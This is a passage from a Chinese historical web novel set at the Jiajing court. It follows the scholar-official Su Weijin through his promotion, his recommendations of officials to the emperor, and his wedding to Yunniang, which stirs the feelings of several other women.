也有几个首鼠两端、试图左右逢源的骑墙派,
更有几位素来与张璁不对付、
但在此案中确实有些把柄被抓住的杨廷和旧部门生。
空出来的位置,如同抛入狼群的鲜肉,
瞬间吸引了无数贪婪而克制的目光。
每日递进宫请求陛见的牌子,
堆满了司礼监的案头。
张璁府邸,书房内的气氛压抑得能拧出水来。
张璁本人倒是因“赞议大礼”和“勤勉任事”之功,
被加封为太子太保,荣誉加身,
看似风光无限。
但他自己心里清楚,
皇帝借着处置他几个爪牙,
以及保下王元正等人,
已经明确传递了敲打之意
——皇权,不容过度挑衅。
“苏惟瑾……”
张璁摩挲着新得的太子太保印信,眼神阴鸷。
他几乎可以肯定,那匿名证据必是此子捣鬼!
自己一番谋划,损兵折将,
虽得虚衔,实权未增,
风头反倒被那个乳臭未干的小子盖了过去!
一想到皇帝如今对那“苏小先生”言听计从的模样,他就觉得心口堵得慌。
“部堂,如今朝中空缺颇多,我们是否……”
心腹赵文华小心翼翼地试探。
“急什么?”
张璁冷冷打断。
“陛下正在兴头上,此时妄动,徒惹猜忌。
且让那黄口小儿再得意几日!”
他深吸一口气,压下翻腾的妒火。
“来日方长。”
与张府的低气压不同,
翰林院今日却是一片暗流涌动的喜庆。
原因无他,吏部的升迁谕旨到了!
翰林院掌院学士率领一众编修、检讨跪听宣旨。
当听到“翰林院修撰苏惟瑾,
学养深厚,持心公允,
屡有建白,深慰朕心……
擢升为翰林院侍读,加日讲官,赐绯袍……”时,
底下跪着的众人,表情那叫一个精彩纷呈!
苏惟瑾自己倒是面色平静,叩首谢恩:
“臣,苏惟瑾,叩谢陛下天恩!”
声音清越,听不出多少波澜。
但他心中清楚,这一步,跨得实在不小!
翰林院侍读,正六品,品级虽只升了一级,但意义非凡!
这意味着他正式成为了皇帝的“近侍之臣”,
拥有了参与经筵日讲的资格!
那可是能与皇帝定期面对面讨论经史、
甚至借古讽今、影响决策的核心圈子!
比起之前只是个埋头修史、誊录文件的修撰,
地位和影响力已是天壤之别!
更何况,还赐穿绯袍,
这可是只有高级官员才能享有的荣耀!
“恭喜苏侍读!”
“惟瑾兄高升,实至名归啊!”
“日后还望苏侍读多多提携!”
谕旨宣读完毕,同僚们立刻围了上来,纷纷道贺。
只是那笑容底下,藏着多少羡慕、嫉妒,
乃至一丝不易察觉的酸意,
就唯有各人自知了。
几个月前,这小子还是个初入翰林的新科状元,
如今竟已官升侍读,简在帝心,
这升迁速度,坐火箭也没这么快吧?!
先前那位因苏惟瑾“幸进”而颇有微词的老编修,
此刻脸上像是开了染坊,青一阵红一阵,
最终也只能挤出一丝干巴巴的笑容,
拱手道贺,心里怕是早已醋海翻波。
苏惟瑾一一还礼,态度谦和,既不张扬,也无怯懦。
超频大脑冷静地处理着周围的信息流,
分析着每一张笑脸背后的真实情绪。
他深知,这看似风光的升迁,
背后是皇帝对他“平衡术”的赞赏,
也是将他进一步推向前台的信号。
福兮祸所伏,今后的路,需更加谨慎。
消息像长了翅膀,飞遍京城官场。
有人赞叹苏状元果然才具非凡,圣眷优隆;
有人暗骂这小子走了狗屎运,攀上了高枝;
更有些心思活络的,开始琢磨着如何与这位新晋
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的皇帝近臣拉拉关系。
苏惟瑾换上了那身崭新的绯色官袍,
腰间束上银花带,对着铜镜照了照。
镜中人眉目清朗,身姿挺拔,
绯袍更衬得他面如冠玉,气度俨然。
连一旁伺候的周大山都看得直了眼,憨笑道:
“公子,您穿这身可真精神!
比戏台上的状元郎还气派!”
苏惟瑾微微一笑,整理了一下袍袖。
这身绯袍,是荣耀,更是责任与风险的象征。
翌日,便是他作为日讲官第一次参与经筵的日子。
地点在文华殿后殿,气氛庄严肃穆。
嘉靖帝端坐御座,
几位阁臣、勋贵及新任的日讲官们分列左右。
苏惟瑾资历最浅,位置靠后,
但他沉稳的气度,
在一众或老成持重、
或略显紧张的同僚中,
反而显得有些突出。
今日讲读的是《大学衍义》。
轮到苏惟瑾讲解其中“治国平天下”一节时,
他并未照本宣科,
而是结合近来李福达案及朝局变动,
深入浅出,阐述了“民心为本”、“吏治为要”的道理,
言语精当,见解深刻,既符合经典大义,
又暗合了皇帝近来强调“法与信”的心思。
嘉靖帝听得频频颔首,眼中赞赏之色愈浓。
讲毕,皇帝甚至额外问了他几个问题,
苏惟瑾皆对答如流,引经据典,
却又不忘将最终的解释权归功于“陛下圣明烛照”。
一番对答,君臣相得,
看得一旁的张璁心里更是酸水直冒,
脸上却还得维持着僵硬的笑容。
经筵结束,嘉靖帝特意留下苏惟瑾,
勉励了几句:
“惟瑾今日讲得甚好,
日后经筵,朕盼你多进嘉言。”
“臣必竭尽驽钝,以报陛下知遇之恩。”
苏惟瑾躬身应答,姿态放得极低。
走出文华殿,秋阳正好,照在身上暖洋洋的。
苏惟瑾知道,从今日起,
他才算真正踏入了大明王朝的权力核心圈子,
虽然还只是边缘,但视野和机会已非昔日可比。
然而,他抬头望向宫墙外辽阔的天空,
心中并无多少志得意满,反而更加清醒。
李福达案尘埃落定,自己的官职也更上一层楼。
但这官场之路,从来都是逆水行舟。
张璁那阴冷的目光,其他潜在对手的嫉妒,
还有皇帝那深不可测的圣心……
真正的考验,或许才刚刚开始。
这身绯袍,能穿得稳,穿得久吗?
第220章 荐才于帝侧,巧占要津位
第220章荐才于帝侧,巧占要津位
苏惟瑾这身崭新的绯色官袍,
仿若自带聚光效用。
走在翰林院里,
同僚们打招呼的声音都热络了三分;
去司礼监送个文书,
小太监们点头哈腰的弧度都大了几度。
就连去西苑参加经筵日讲,
几位素来眼高于顶的阁老,
见了他也会微微颔首,算是打过招呼。
这日经筵讲的是《资治通鉴》,
论及唐代吏治得失。
苏惟瑾引经据典,
将“用人得失关乎国运”的道理剖析得鞭辟入里,
尤其强调了“拔擢寒俊、广开言路”对维系王朝活力的重要性,
听得嘉靖帝目光炯炯,连连称善。
讲筵散去,嘉靖帝心情颇佳,
并未立刻起身,反而将苏惟瑾单独留了下来。
两人在文华殿后殿的暖阁里坐下,内侍奉上香茗。
“惟瑾啊,”
嘉靖帝吹了吹茶沫,语气随意,好似拉家常。
“近日朝中空缺颇多,
吏部报上来几份候选名单,
朕瞧着,多是些老面孔,
或是些只会钻营之辈,
实在乏善可陈。
你平日读书多,见识广,
可曾听闻朝野之中,
有哪些被埋没的实干之才?”
来了!苏惟瑾心中一动,
超频大脑瞬间进入高速运转状态。
皇帝这是要借他这把“刀”,
来砍向盘根错节的旧有人事网络,
同时也在试探他的立场和眼光。
机会稍纵即逝,必须抓住,
但更要谨慎,绝不能表现得结党营私。
他放下茶盏,面露思索之色,
沉吟片刻,方才缓缓开口,
语气诚恳而不失稳重:
“陛下垂询,臣不敢不尽言。
臣以为,治国如烹小鲜,
佐料火候,皆需恰到好处。
如今朝局初定,正当用人之际,
确需选任一批有真才实学、
通晓实务、且风评清正的官员,
以充盈朝廷元气。”
他先定下“真才实学、通晓实务、风评清正”的调子,
把自己撇清在党派之外。
“哦?具体说来听听。”
嘉靖帝颇感兴趣地往前倾了倾身子。
“臣斗胆举荐几人,仅供陛下参详。”
苏惟瑾态度谦逊,
开始“下菜碟”。
“其一,乃前翰林院修撰康海。”
他注意到嘉靖帝眉头微挑,
康海曾是状元,才名动天下,
但因性格耿直,得罪权贵,早年便被排挤归乡。
“康海此人,才思敏捷,尤擅经济实务。
臣闻其归乡后,并非沉溺诗文,
反而悉心钻研农桑水利,
曾著《泾野农书》,于地方利弊,洞察甚深。
若使其出任户部某清吏司郎中,
专司钱谷或漕运,以其才学加之实务经验,
或能厘清积弊,为国理财。”
他将康海的“耿直”巧妙转化为“钻研实务”,
将其文学才华引导到经济领域,理由冠冕堂皇。
嘉靖帝微微颔首,康海的名字他是知道的,
才学毋庸置疑,若能踏实做事,
倒是个不错的人选。
“嗯,康海……朕记得他。还有呢?”
“其二,”
苏惟瑾继续道。
“乃是都察院御史王廷相。”
此人刚因李福达案被张璁党羽构陷,
是苏惟瑾暗中递证据保下来的,
属于清流中坚,性格刚直,熟悉刑名。
“王御史风骨凛然,熟知律法,
于刑名之事颇有见地。
此番李福达案,亦可见其持正不同。
都察院乃风宪之地,
正需此等刚正不阿、明察秋毫之员,
以肃官箴,正风气。
臣以为,可令其巡按某一紧要省份,
或留在都察院主持一方事务,必能不负圣望。”
推荐王廷相,既是酬功(对方虽不知情),
也是将清流力量安插到监察要害位置,合乎皇帝制衡之道。
“王廷相……确是个敢说话的。”
嘉靖帝记下了这个名字,
此人能用,而且用好了能牵制张璁。
“还有一位,”
苏惟瑾语气放缓,似乎斟酌着用词。
“乃是前吏部文选司主事王九思。”
王九思属于历史上颇有文名,
但此时因不附权贵而郁郁不得志的类型。
“王九思文采斐然,
更难得的是熟知典章制度,
于官员铨选、考功之法,素有研究。
其人品端方,不慕权势。
如今吏部空缺,正需此类精通业务、持身以正之员,
充实其中,方能使人尽其才,官得其位。”
他将王九思的“不得志”解释为“不慕权势”,
将其文学才能关联到吏部业务,
推荐其进入核心的人事部门。
苏惟瑾每推荐一人,
都只谈其才华、专长与职位需求的匹配度,
绝口不提派系,更不涉及任何私人关系,
完全是一副为国举贤、对事不对人的姿态。
而且他推荐的这几位,
都是有名有姓、确有才学但或因性格、
或因派系原因被边缘化的人物,
皇帝用起来放心,
也显得他苏惟瑾慧眼识珠,心胸广阔。
嘉靖帝听着
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,手指无意识地在紫檀木椅扶手上轻轻敲击。
苏惟瑾推荐的这几个人,
他都有些印象,确非张璁**,
也非那种只会空谈的腐儒,
放在那些关键位置上,
既能做事,又能平衡朝局,
简直就像是量身定做一般!
此子年纪轻轻,看人竟如此之准,
心思如此缜密,实在是……难得!
“善!”
嘉靖帝抚掌一笑,眼中尽是满意。
“惟瑾所荐,皆切中要害,
深合朕心!康海、王廷相、王九思……
嗯,都是可用之才,
放在合适的位置上,必能有所作为。”
他心中已基本采纳了苏惟瑾的建议,
只待与阁臣稍作商议,便可下旨任命。
“陛下圣明,臣不过偶有所感,妄加揣测罢了。”
苏惟瑾连忙躬身,将功劳全推回去。
“你不必过谦。”
嘉靖帝摆摆手,看着苏惟瑾的眼神愈发温和。
“你能不拘一格,为国举贤,此乃宰相气度。
好好做,朕不会亏待于你。”
又勉励了几句,嘉靖帝才让苏惟瑾退下。
走出文华殿,秋风吹拂,
苏惟瑾深深吸了一口气。
刚才那番奏对,看似云淡风轻,实则耗费心神。
超频大脑精准地计算了每一个推荐人选的背景、能力、
与皇帝的契合度以及可能带来的**收益。
康海入户部,可掌一部分财权;
王廷相在都察院或外放巡按,可握监察之权;
王九思进吏部,则能影响官员升迁……
这几步棋落下,无声无息间,
他已在几个关键衙门埋下了潜在的盟友,
扩张了自己的影响力网络。
这比单纯自己升官,意义更为深远。
他抬头望向宫墙上方那片被分割的蓝天,
嘴角勾起一抹不易察觉的弧度。
张璁想靠着“大礼议”的功劳垄断圣心,把持朝政?
怕是没那么容易。
这盘大棋,才刚刚开始布局。
而此刻,张璁府中,
刚刚得知皇帝单独召见苏惟瑾消息的张侍郎,
正阴沉着脸,将一份写满候选官员名字的名单揉成一团,狠狠掷在地上。
“黄口小儿,安敢如此!”
他嗅到了危险的气息,
那个苏惟瑾,不仅会背后捅刀子,
如今竟开始明目张胆地插手人事安排了!
此子不除,必成大患!
一场新的风波,已在暗潮中悄然酝酿。
苏惟瑾这看似不经意间的“荐才”,
如同一颗投入平静湖面的石子,
激起的涟漪,终将扩散至整个朝堂。
第221章 红妆十里铺,暗涌女儿心
第221章红妆十里铺,暗涌女儿心
嘉靖三年腊月十八,黄道吉日,宜嫁娶。
京城内城新赐的苏府,张灯结彩,
红绸高挂,那气派几乎要压过旁边几座积年的公侯府邸。
门前的拴马石早就不够用了,
后来的车轿直排到了胡同口,
拉车的骏马喷着白汽,
锦衣华服的宾客们互相拱手寒暄,
脸上都挂着恰到好处的笑容。
这阵仗,不知道的还以为是哪位阁老家办喜事。
可今日的主角,却是那位新晋的翰林院侍读、简在帝心的苏惟瑾,苏大人。
嘉靖帝的赐婚旨意和这座三进大宅院的房契,
就是这场婚礼最硬的招牌。
天子门生,帝心近臣,前途无量,
这八个字足以让京城里最油滑的官员掂量清楚分量。
于是,不管心里是真心祝福还是酸水直冒,
是张璁**还是清流中人,
只要还在京城、还想在官场上混的,
几乎都派人送来了贺礼,
胆子大、关系近的,更是亲自登门道贺。
苏府门前,苏惟瑾身着大红吉服,
身姿挺拔,面容俊朗,正含笑迎客。
他身边站着憨厚的周大山,
如今也换了身新衣,帮着唱名收礼,
嗓子都快喊哑了。
“吏部左侍郎翟大人到!贺仪白玉如意一对!”
“翰林院掌院学士董大人到!贺仪古籍善本一套!”
“都察院王元正王御史到!贺仪……呃,贺仪亲手所书贺联一副!”
(这位爷还是这么清高实在)
“锦衣卫指挥使陆炳陆大人,遣府上管家送来贺仪,东海珊瑚树一株!”
每一声唱喏,都引来周围宾客一阵低低的惊呼和窃窃私语。
翟銮、董孚先是座师,
前来撑场面理所应当;
王元正是刚被苏惟瑾“无意”中帮过大忙的,前来示好也在情理;
可连权势熏天的锦衣卫指挥使陆炳都派人送来如此重礼,
这就不能不让人浮想联翩了!
这苏惟瑾的圣眷和能量,可见一斑!
翰林院的同僚们,如徐阶、唐顺之等人,
也早早过来帮忙招呼,
脸上与有荣焉。
当然,也少不了些面色复杂之辈,
比如那位曾暗讽苏惟瑾“幸进”的老编修,
此刻也只能混在人群中,
说着言不由衷的祝福,
心里怕是早已翻江倒海。
与府门外的喧嚣相比,
内院更是忙碌非常。
而在这片忙碌中,
一个穿着崭新杏色缠枝莲纹缎袄、
系着红色腰裙的少女身影,
正如同穿花蝴蝶般,
有条不紊地指挥调度着。
她便是苏府如今唯一的小姐,
苏惟瑾的妹妹——苏婉。
经过京城数月的历练,
昔日那个在沭阳老宅怯生生的小丫头,
已然褪去了大半青涩,
眉宇间多了几分沉静与干练。
此刻,她正站在新房外间的廊下,
轻声细语地吩咐着丫鬟婆子们。
“张妈妈,再去检查一下新房里的热水和炭盆是否充足,
务必要让嫂嫂觉得暖和舒适。”
“春杏,你去小厨房看着点,
给嫂嫂准备的几样清淡易克化的点心和小菜要一直温着,
仪式漫长,嫂嫂怕是没空好好用席面。”
“还有,前厅女宾席那边,
赵家姐姐和王家姐姐那边,
要格外留心照应着,
茶水点心及时更换,莫要怠慢了。”
她的安排细致周到,
语气温和却带着不容置疑的力度,
下人们无不恭敬应诺,迅速去办。
今日兄长大婚,
她知道芸娘姐姐内心必定惶恐,
而兄长在前院脱不开身,
她便是这内宅最该站出来、
替兄嫂稳住后方的人。
内院女眷处,花团锦簇。
新娘子芸娘凤冠霞帔,端坐床沿。
这身行头是宫里尚衣监按品级赶制,华丽庄重。
芸娘手心全是汗,
既为这盛大场面感到晕眩,
更多的却是惶恐不安。
就在芸娘心绪不宁之际,
苏婉轻轻走了进来。
她屏退左右,走到床前,
握住芸娘冰凉的手,
声音轻柔却坚定:
“芸娘姐姐,不,嫂嫂,别怕。”
她看着芸娘紧张的神色,
眼中满是理解和安慰:
“外面是热闹了些,
但这些都是来祝福哥哥和嫂嫂的。
哥哥在前面应付着呢,
这后院里,有婉儿在,
定不会让嫂嫂受半点委屈。
你且安心,今天是你和哥哥的大喜日子,
你只需做个最美最美的新娘子就好。”
说着,她细心地将芸娘凤冠上稍有歪斜的流苏理正,
又替她抿了抿鬓角,动作轻柔,
带着全然的亲近与维护。
芸娘感受到她手心的温暖和话语中的力量,
紧绷的心弦终于松弛了些许,
反握住苏婉的手,眼中泪光点点,
却是感动居多:
“婉儿,谢谢你……”
“我们是一家人了,嫂嫂。”
苏婉甜甜一笑,
笑容驱散了芸娘心中最后一丝阴霾。
外间宴席上,赵文萱和王雪茹并排坐在女宾席中,
皆是盛装出席,却难掩眉宇间的落寞。
赵文萱今日穿了一身淡雅的水蓝色襦裙,
更衬得她气质清冷如兰。
她看着满堂喜庆,
听着周遭对苏惟瑾的赞誉,
心中五味杂陈。
那个曾经需要她暗中给予书籍帮助的落魄书童,
如今已站在了她需要仰望的高度。
她强撑着镇定,甚至在众人起哄下,
即席赋诗一首:
“琼林玉树映朱门,
桂馥兰芳贺新婚。
惟愿郎君擎天志,
画眉举案敬如宾。”
诗是好的,祝福也是真的,
只是那微微颤抖的笔尖和眼底深处那一抹难以化开的怅然,
却泄露了少女心事。
王雪茹则是一身利落的玫红骑射服,
在这群闺秀中显得格格不入。
她看着苏惟瑾身着红袍、
意气风发的样子,
心里像打翻了醋坛子,又酸又涩。
索性拎起酒壶,自顾自倒了一杯又一杯,
辛辣的液体入喉,却压不住那股烦闷。
眼看她眼神开始迷离,
就要拍案而起说些什么醉话,
幸好被机警的周大山发现,
连忙使了个眼色,
让两个婆子半劝半扶地将她带到后厢房醒酒去了。
苏婉在安排完新房事宜后,
也来到了女宾席。
她敏锐地察觉到了赵文萱隐藏在得体笑容下的黯然,
以及王雪茹被扶走时的不甘。
她心中轻轻一叹,
哥哥如此优秀,
惹得这些出色的女子倾心,也是难免。
但她立场分明,芸娘姐姐才是哥哥认定、也是她认定的嫂嫂。
她走到赵文萱身边,
亲自为她斟了一杯热茶,
语气亲近又不失分寸:
“文萱姐姐,今日多谢你来。
哥哥前几日还提起,
说在沭阳时多蒙赵教谕和姐姐照拂,
他一直铭记于心。”
她巧妙地将话题引向过去的师生之谊,
而非男女之情,既表达了感谢,又划清了界限。
赵文萱是何等聪慧之人,
立刻明白了苏婉的用意,
心中微涩,却也感激她的体贴,
接过茶盏,勉强一笑:
“婉儿妹妹客气了,
苏大人……令兄大婚,
文萱理当来贺。”
至于王雪茹,苏婉则吩咐丫鬟格外用心照顾,
务必让她醒酒后再安然送回府,
既全了礼数,也避免了可能出现的尴尬。
而在这场盛宴的幕后,
最忙碌也最复杂的,
恐怕要数沈香君了。
她以“云裳阁”东家、
苏府婚礼部分用度采办合作商的身份,
里外张罗,指挥若定。
她
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今日未施过多粉黛,
一身藕荷色缎裙,既不失礼,
也不抢新娘风头。
她脸上始终挂着得体而疏离的微笑,
安排席面,调度人手,
处理突发状况,井井有条。
唯有在无人注意的间隙,
她看向那对新人方向的目光,
才会流露出一丝难以言说的复杂,
那里面有欣赏,有算计,或许,
还有一丝她自己都不愿承认的失落。
人群中,一个身着普通青色棉裙、
头戴帷帽的少女悄然独立。
她打扮得毫不起眼,
如同哪家跟来看热闹的小丫鬟,
但那双透过薄纱审视全场的眼睛,
却清澈锐利。
她便是锦衣卫指挥使陆炳的妹妹,陆清晏。
自从听说皇帝曾有意将她说与苏惟瑾,
却被对方以“贫贱之交不可忘,糟糠之妻不下堂”为由婉拒后,
这位心高气傲的侯门千金心里就憋着一股说不清道不明的气。
她倒要来看看,那个让苏惟瑾如此坚守的“糟糠之妻”,究竟是何等人物!
此刻,她看着那凤冠霞帔下虽显局促却不失清秀的芸娘,
看着苏惟瑾面对各方宾客时那份从容不迫、游刃有余,
心中那股气恼莫名消散了些,
反而生出几分异样情绪。
这苏惟瑾,倒真是个……有趣的人。
拒了侯府千金,守着寒微发妻,
在这势利的官场上,
竟能混得如此风生水起。
礼成,宴开。
觥筹交错,笑语喧阗。
苏惟瑾举杯环敬,感谢宾朋,
姿态潇洒,应对得体。
这场婚礼,早已超越了个人的喜庆,
成为他**实力和人脉网络的一次集中展示。
每一个前来道贺的名字,
每一份厚重的贺礼,
都在无声地宣告着他在大明官场不容小觑的地位。
然而,在这极致的喧嚣与风光之下,
几位女子各异的心思,
犹似暗香浮动,交织成一张无形的情网。
芸娘的惶恐与幸福,
赵文萱的落寞与祝福,
王雪茹的直率与酸楚,
沈香君的复杂与隐忍,
以及那位不请自来、
隐在人群中的陆清晏的好奇与审视……
喧嚣终将散去,宾客渐次离开。
苏婉站在渐渐安静下来的庭院中,
看着廊下依然闪烁的大红灯笼,
心中充满了欣慰与感慨。
她想起了沭阳老宅的破败,
想起了哥哥曾经为奴的艰辛,
想起了自己偷偷攒钱想赎哥哥的往事……鼻尖忍不住一酸。
“婉儿,累了一天了,怎么还站在这里?”
苏惟瑾送完重要宾客,回到内院,
就看到妹妹独自站在月色下,
小小的身影在偌大的庭院中显得有些单薄,却异常坚定。
苏婉回过头,脸上绽开一个灿烂又带着点泪花的笑容:
“哥,我不累。
我就是高兴,特别特别高兴。”
她走到苏惟瑾面前,仰着头,
眼中星光点点。
“看到哥哥和芸娘姐姐终于在一起,
有了这么大的家,
婉儿觉得,以前所有的苦都值得了。”
苏惟瑾心中最柔软的地方被触动,
伸手轻轻揉了揉妹妹的头发,
就像小时候一样:
“傻丫头,以后会更好的。哥哥跟你保证。”
“嗯!”
苏婉用力点头,无比相信。
洞房花烛夜,红绡帐暖。
当苏惟瑾挑起芸娘的红盖头,
看到那双含羞带怯的水眸时,
他心中一片温存。
而窗外,苏婉最后检查了一遍院落,
细心叮嘱了值夜的婆子,
这才安心地回到自己的房间。
她知道,从今天起,这个家更加完整了,
而她,也会继续努力,
成为哥哥和嫂嫂最坚实的后盾。
这京城的风,因他而起的波澜壮阔中,
始终有一缕最温暖的,来自家的方向。
第222章 红烛帐暖度春宵,寒梅初绽诉衷
前院的喧嚣如同潮水般渐渐退去,
宾客的谈笑声、杯盘碰撞声最终消散在冬夜的寒气里。
偌大的苏府终于安静下来,
只余下廊檐下几盏大红灯笼在风中轻轻摇曳,映得积雪泛着暖光。
新房里,龙凤红烛燃得正旺,
噼啪作响的烛花爆开细碎的喜悦。
满室喜庆的红色
——红帐、红被、红窗花,
将冬日的寒意彻底隔绝在外,
只留下融融暖意。
芸娘依旧穿着那身沉重的凤冠霞帔,
端坐在铺着大红鸳鸯戏水锦被的床沿,
双手紧张地绞着衣角,
连呼吸都放得极轻。
她能听到自己心脏“咚咚”擂鼓般的声音,
几乎要撞出胸腔。
这一天,如同梦幻,
从那个在书铺角落里偷偷啃干馍的落魄少年,
到如今洞房花烛、名动京华的状元郎君,
这其间的云泥之变,
让她至今仍觉得脚下发虚,
生怕一眨眼,这美梦就醒了。
“吱呀”一声,房门被轻轻推开。
苏惟瑾走了进来,
身上还带着一丝淡淡的酒气,
但眼神清明,步履稳健。
他已换下那身繁复的大红吉服,
只着一身暗红色的家常绸袍,
更显得身姿颀长,面如冠玉。
他反手轻轻合上门扉,
将那满室的红与暖,
与外界彻底隔绝。
他走到床前,脚步放得极轻,
仿佛怕惊扰了什么。
目光落在那个低垂着头、
连脖颈都染上一层绯色的身影上,
心中最柔软的地方被狠狠触动。
不再是那个需要他暗中布局、
步步为营的苏侍读,
此刻,他只是她的夫君,苏惟瑾。
他没有立刻去掀盖头,
而是缓缓坐在她身旁,
近得能闻到她身上淡淡的、
新衣和脂粉混合的清香。
“芸娘。”
他开口,声音因饮酒略带沙哑,却异常温柔。
芸娘身子几不可察地轻颤了一下,
低低地“嗯”了一声,如同蚊蚋。
“抬起头来,让我看看你。”
苏惟瑾的声音带着诱哄的意味。
芸娘犹豫了一下,终是缓缓抬起头。
凤冠的珠翠随着她的动作轻轻晃动,
流苏下,是一张薄施粉黛、娇羞动人的脸。
柳眉杏目,琼鼻樱唇,
在烛光映照下,
平日里的温婉清秀此刻尽数化作了惊心动魄的明艳。
只是那双总是含着笑意和关切的眸子,
此刻却盈满了水光,带着几分惶恐,
几分不安,如同受惊的小鹿。
苏惟瑾看得心头一热,
又泛起细细密密的疼。
他伸出手,动作轻柔却坚定地握住了她因紧张而冰凉微湿的小手。
那双手,不再是他记忆中因常年做活而略带薄茧的模样,
被精心养护了这些时日,
已变得柔软细腻,但此刻在他掌心,
依旧微微颤抖着。
“别怕。”
他低声说,指尖在她手背上轻轻摩挲,
传递着令人安心的温度。
“是我,惟瑾。”
他的触碰和话语仿佛带着魔力,
芸娘紧绷的肩颈微微放松了些,
但眼中的水汽却更重了。
“夫君……”
她哽咽着唤了一声,
眼泪终于忍不住,
如同断线的珠子,滚落下来,
打在两人交握的手上,
带着灼人的温度。
“我……我不是在做梦吧?
这一切,都是真的吗?
你如今是状元,是官身,
我……我只是一个普通民女,我配不上……”
“傻话。”
苏惟瑾打断她,抬手,
用指腹极其轻柔地拭去她脸上的泪痕。
他的动作小心翼翼,
仿佛在对待一件稀世珍宝。
“若非当年在张家,
你偷偷塞给我的那个还带着体温的炊饼,
我苏惟瑾,或许早已饿死冻死在哪个街头角落了。
哪里还有今日?”
他提起往事,声音里带着不容置疑的珍视。
“芸娘,你记住,
没有当初那个炊饼,
没有你后来偷偷帮我浆洗缝补的衣物,
没有你在所有人都看不起我时,
依旧悄悄递来的那些温暖……
就没有今天的苏惟瑾。
你于我,是雪中送炭的恩情,
是贫贱相依的情义,
是这世间最干净、最珍贵的温暖。”
他凝视着她的眼睛,一字一句,清晰而郑重:
“这凤冠霞帔,这状元荣耀,
这满堂宾客的恭贺,
若没有你站在我身边与我共享,
便都失了颜色,毫无意义。
我苏惟瑾在此对天立誓,
此生绝不负你陈芸娘。
贫贱不移,富贵不弃,
此生此世,唯你一人,
是我苏惟瑾明媒正娶、携手白发的妻。”
这不是什么华丽的辞藻,
却是最朴实、最坚定的承诺。
每一个字,都如同重锤,
敲在芸娘的心上,
驱散了所有的不安与惶恐。
芸娘的眼泪流得更凶了,
但这一次,不再是害怕和自卑,
而是巨大的幸福和感动冲击着她。
她反手紧紧握住苏惟瑾的手,
用力点头,声音带着哭腔,
却无比坚定:
“我信!夫君,我信你!
芸娘就信你!
能嫁给你,是芸娘几辈子修来的福分!”
看着她哭得梨花带雨却又眼神晶亮的模样,
苏惟瑾心中充盈着难以言喻的满足与温情。
他微微一笑,伸手,
轻轻取
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下了她那顶沉重的凤冠,
小心地放在一旁的梳妆台上。
如云青丝披散下来,
衬得她的小脸愈发楚楚动人。
“累了罢?”
他柔声问。
芸娘羞涩地摇摇头,又点点头。
苏惟瑾低笑一声,
端起旁边桌上早已备好的合卺酒(jin,三声,指成婚时夫妻共饮的交杯酒),
将其中一杯递到芸娘手中。
手臂相交,目光缠绕,
将杯中略显辛辣的液体一饮而尽。
酒意微醺,更是情意盎然。
红烛依旧高燃,映照着帐内相依的身影。
苏惟瑾轻轻拥着她,
感受着怀中人儿的温顺与依赖,
低声道:
“芸娘,往后这府里,
你就是女主人。
不必惶恐,不必不安。
外面的风风雨雨,自有我去抵挡。
你只需安稳度日,做你自己便好。”
芸娘将发烫的脸颊贴在他坚实的胸膛上,
听着那沉稳有力的心跳,
只觉得前所未有的安心。
“嗯,我都听夫君的。”
衣衫渐褪,红浪翻涌。
这一夜,不仅是身体的结合,
更是两颗早在微末时便已相互依偎、历经磨难的心,
终于冲破世俗与身份的阻碍,
紧紧相拥,彼此温暖,彼此归属。
所有的言语都化作了行动,
所有的承诺都融入了缠绵。
当激情渐歇,芸娘累极,
蜷缩在苏惟瑾怀中沉沉睡去,
嘴角犹自带着一丝甜蜜满足的笑意。
苏惟瑾却并无多少睡意,
他借着帐外红烛残余的微光,
凝视着怀中人恬静的睡颜,
心中一片宁和。
穿越至今的种种艰难险阻,
官场上的尔虞我诈,
似乎都在这一刻被这份实实在在的温情所抚平。
他轻轻拢了拢她散落的发丝,
在心中再次默念那个承诺:
绝不相负。
然而,在这静谧的深夜,
超频大脑那惯常的理性思维却又不由自主地开始运转。
今日婚礼上,赵文萱强作镇定的诗,
王雪茹借酒消愁的失态,
沈香君忙碌背影下的复杂目光,
乃至人群中那道锐利审视的视线……
这些女子的情愫,如同投入湖面的石子,
虽未掀起巨浪,但那涟漪,却已悄然扩散。
他承诺此生唯芸娘一妻,绝不相负。
可这偌大的京城,诡谲的官场,
以及那些已然产生交集、
注定还会继续纠缠的命运丝线,
真的能允许他的生活,
仅仅维系在这一方温暖静谧的红帐之内吗?
窗外,不知何时又飘起了细雪,
无声地覆盖着庭院,
也仿佛在掩盖着某些悄然滋生、
尚未可知的变数。
第223章 芸娘试主母,拙诚反被轻
腊月二十,天色刚蒙蒙亮,寒气刺骨。
苏府后宅的正房里,芸娘已对着那面略显模糊的菱花镜坐了半个时辰。
铜镜里映出的脸,带着一丝掩不住的憔悴与不安。
她手中那柄温润的玉梳停了又走,走了又停,
最终,还是将那支象征着主母身份的赤金点翠步摇,
小心翼翼地**梳得一丝不苟的圆髻里。
沉甸甸的,仿佛坠着的不是金饰,而是她此刻的心情。
“夫人,赵家小姐、王家小姐和沈东家都递了帖子,说来给您请安。”
贴身丫鬟秋月的声音带着几分小心翼翼,打破了室内的沉寂。
芸娘的心猛地一沉,指尖瞬间沁出凉意。
该来的,终究躲不过。
她深吸一口气,拢了拢身上簇新的绛紫色缠枝莲纹缎面袄子
——这是她箱笼里最体面的一件见客衣裳,
可这华贵的料子贴着肌肤,只让她觉得浑身僵硬,如同披上了一层不属于自己的铠甲。
“请……请她们到花厅用茶,我稍后就到。”
她的声音,带着一丝自己都未察觉的微颤。
花厅里,地龙烧得暖融,角落鎏金兽首香炉吐着清雅的梨香,却驱不散某种无形的清冷。
赵文萱端坐在上首的酸枝木玫瑰椅上,
一身月白绫缎袄裙,外罩浅碧色绣缠枝兰草比甲,
通身素净,只在鬓边别了一支光泽温润的珍珠发簪。
她纤指捧着定窑白瓷茶盏,眼帘微垂,
目光落在茶汤浮起的细沫上,姿态优雅从容,
仿佛置身无人之境,自成一方清冷天地。
王雪茹则是一身利落的石榴红骑射服,脚蹬小巧鹿皮靴。
她坐得不甚安分,指尖有一下没一下地敲着黄花梨扶手,眼神时不时瞟向门口,带着几分不耐与审视。
她不像来做客,倒像来巡视领地,眉宇间的飒爽在此刻显得颇具攻击性。
沈香君来得最晚,她今日打扮得格外低调,
一身藕荷色素面杭绸褙子,未施脂粉,
只腕间戴了一串品相极佳、暗香浮动的沉香木珠。
她进门便含笑告罪,声音软糯:
“夫人恕罪,铺子里临时来了批紧俏货,需得亲自过目,耽搁了片刻。”
礼数周全,眼神却似沾水的燕子,
